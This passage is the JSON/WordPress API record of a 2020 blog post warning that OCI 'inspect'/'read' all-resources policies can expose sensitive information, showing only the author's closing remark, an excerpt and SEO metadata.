thoughts<\/h4>\n<p>I disagree. As I&#8217;ve already said and per the official documentation, a user with <strong>inspect<\/strong> has the &#8220;ability to list resources, without access to any confidential information&#8221;, and to me this is not the case.<\/p>\n<b>Have you enjoyed? Please leave a comment or give a \ud83d\udc4d!<\/b>\n<div class='watch-action'><div class='watch-position align-left'><div class='action-like'><a class='lbg-style2 like-4802 jlk' href='javascript:void(0)' data-task='like' data-post_id='4802' data-nonce='de4404f630' rel='nofollow'><img class='wti-pixel' src='https:\/\/www.dbarj.com.br\/wp-content\/plugins\/wti-like-post\/images\/pixel.gif' title='Like' \/><span class='lc-4802 lc'>+13<\/span><\/a><\/div><\/div> <div class='status-4802 status align-left'><\/div><\/div><div class='wti-clear'><\/div>","protected":false},"excerpt":{"rendered":"<p>I&#8217;ve already seen many cases where a customer needs to give some read-only access on their tenancy to contractors \/ auditors \/ non-admin users. The easiest thing to is usually give &#8220;read&#8221; (or the more restrictive &#8220;inspect&#8221;) all-resources policy to that user&#8217;s group. In this article I will show how a user can use that &hellip; <\/p>\n<p><a class=\"more-link btn\" href=\"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/\">Continue reading<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43],"tags":[],"class_list":["post-4802","post","type-post","status-publish","format-standard","hentry","category-oracle-cloud-en","item-wrap"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Why you should avoid giving inspect\/read all-resources policy in OCI - DBA - Rodrigo Jorge - Oracle Tips and Guides<\/title>\n<meta name=\"description\" content=\"In this article I will show how a user can use that to potentially expose some sensitive info in from your company that you might not know.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"DBA RJ\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/\"},\"author\":{\"name\":\"DBA RJ\",\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/#\\\/schema\\\/person\\\/28a44ca3a6633fe4156ad1ea209d40a9\"},\"headline\":\"Why you should avoid giving inspect\\\/read all-resources policy in OCI\",\"datePublished\":\"2020-10-27T21:27:53+00:00\",\"dateModified\":\"2020-10-27T23:10:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/\"},\"wordCount\":858,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/#\\\/schema\\\/person\\\/28a44ca3a6633fe4156ad1ea209d40a9\"},\"image\":{\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.dbarj.com.br\\\/wp-content\\\/uploads\\\/2020\\\/10\\\/img_5f9873e9b9537.png\",\"articleSection\":[\"Oracle Cloud\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/\",\"url\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/\",\"name\":\"Why you should avoid giving inspect\\\/read all-resources policy in OCI - DBA - Rodrigo Jorge - Oracle Tips and Guides\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.dbarj.com.br\\\/wp-content\\\/uploads\\\/2020\\\/10\\\/img_5f9873e9b9537.png\",\"datePublished\":\"2020-10-27T21:27:53+00:00\",\"dateModified\":\"2020-10-27T23:10:17+00:00\",\"description\":\"In this article I will show how a user can use that to potentially expose some sensitive info in from your company that you might not know.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.dbarj.com.br\\\/wp-content\\\/uploads\\\/2020\\\/10\\\/img_5f9873e9b9537.png\",\"contentUrl\":\"https:\\\/\\\/www.dbarj.com.br\\\/wp-content\\\/uploads\\\/2020\\\/10\\\/img_5f9873e9b9537.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/2020\\\/10\\\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Why you should avoid giving inspect\\\/read all-resources policy in OCI\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/#website\",\"url\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/\",\"name\":\"DBA - Rodrigo Jorge - Oracle Tips and Guides\",\"description\":\"Blog about Databases, Security and High Availability\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/#\\\/schema\\\/person\\\/28a44ca3a6633fe4156ad1ea209d40a9\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/en\\\/#\\\/schema\\\/person\\\/28a44ca3a6633fe4156ad1ea209d40a9\",\"name\":\"DBA RJ\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/wp-content\\\/uploads\\\/2019\\\/09\\\/RodrigoJorgePOUG19.png\",\"url\":\"https:\\\/\\\/www.dbarj.com.br\\\/wp-content\\\/uploads\\\/2019\\\/09\\\/RodrigoJorgePOUG19.png\",\"contentUrl\":\"https:\\\/\\\/www.dbarj.com.br\\\/wp-content\\\/uploads\\\/2019\\\/09\\\/RodrigoJorgePOUG19.png\",\"width\":712,\"height\":712,\"caption\":\"DBA RJ\"},\"logo\":{\"@id\":\"https:\\\/\\\/www.dbarj.com.br\\\/wp-content\\\/uploads\\\/2019\\\/09\\\/RodrigoJorgePOUG19.png\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Why you should avoid giving inspect\/read all-resources policy in OCI - DBA - Rodrigo Jorge - Oracle Tips and Guides","description":"In this article I will show how a user can use that to potentially expose some sensitive info in from your company that you might not know.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/","twitter_misc":{"Written by":"DBA RJ","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/#article","isPartOf":{"@id":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/"},"author":{"name":"DBA RJ","@id":"https:\/\/www.dbarj.com.br\/en\/#\/schema\/person\/28a44ca3a6633fe4156ad1ea209d40a9"},"headline":"Why you should avoid giving inspect\/read all-resources policy in OCI","datePublished":"2020-10-27T21:27:53+00:00","dateModified":"2020-10-27T23:10:17+00:00","mainEntityOfPage":{"@id":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/"},"wordCount":858,"commentCount":0,"publisher":{"@id":"https:\/\/www.dbarj.com.br\/en\/#\/schema\/person\/28a44ca3a6633fe4156ad1ea209d40a9"},"image":{"@id":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/#primaryimage"},"thumbnailUrl":"https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2020\/10\/img_5f9873e9b9537.png","articleSection":["Oracle Cloud"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/","url":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/","name":"Why you should avoid giving inspect\/read all-resources policy in OCI - DBA - Rodrigo Jorge - Oracle Tips and Guides","isPartOf":{"@id":"https:\/\/www.dbarj.com.br\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/#primaryimage"},"image":{"@id":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/#primaryimage"},"thumbnailUrl":"https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2020\/10\/img_5f9873e9b9537.png","datePublished":"2020-10-27T21:27:53+00:00","dateModified":"2020-10-27T23:10:17+00:00","description":"In this article I will show how a user can use that to potentially expose some sensitive info in from your company that you might not know.","breadcrumb":{"@id":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/#primaryimage","url":"https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2020\/10\/img_5f9873e9b9537.png","contentUrl":"https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2020\/10\/img_5f9873e9b9537.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.dbarj.com.br\/en\/"},{"@type":"ListItem","position":2,"name":"Why you should avoid giving inspect\/read all-resources policy in OCI"}]},{"@type":"WebSite","@id":"https:\/\/www.dbarj.com.br\/en\/#website","url":"https:\/\/www.dbarj.com.br\/en\/","name":"DBA - Rodrigo Jorge - Oracle Tips and Guides","description":"Blog about Databases, Security and High Availability","publisher":{"@id":"https:\/\/www.dbarj.com.br\/en\/#\/schema\/person\/28a44ca3a6633fe4156ad1ea209d40a9"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.dbarj.com.br\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":["Person","Organization"],"@id":"https:\/\/www.dbarj.com.br\/en\/#\/schema\/person\/28a44ca3a6633fe4156ad1ea209d40a9","name":"DBA RJ","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2019\/09\/RodrigoJorgePOUG19.png","url":"https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2019\/09\/RodrigoJorgePOUG19.png","contentUrl":"https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2019\/09\/RodrigoJorgePOUG19.png","width":712,"height":712,"caption":"DBA RJ"},"logo":{"@id":"https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2019\/09\/RodrigoJorgePOUG19.png"}}]}},"_links":{"self":[{"href":"https:\/\/www.dbarj.com.br\/en\/wp-json\/wp\/v2\/posts\/4802","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.dbarj.com.br\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.dbarj.com.br\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.dbarj.com.br\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.dbarj.com.br\/en\/wp-json\/wp\/v2\/comments?post=4802"}],"version-history":[{"count":5,"href":"https:\/\/www.dbarj.com.br\/en\/wp-json\/wp\/v2\/posts\/4802\/revisions"}],"predecessor-version":[{"id":4824,"href":"https:\/\/www.dbarj.com.br\/en\/wp-json\/wp\/v2\/posts\/4802\/revisions\/4824"}],"wp:attachment":[{"href":"https:\/\/www.dbarj.com.br\/en\/wp-json\/wp\/v2\/media?parent=4802"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.dbarj.com.br\/en\/wp-json\/wp\/v2\/categories?post=4802"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.dbarj.com.br\/en\/wp-json\/wp\/v2\/tags?post=4802"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}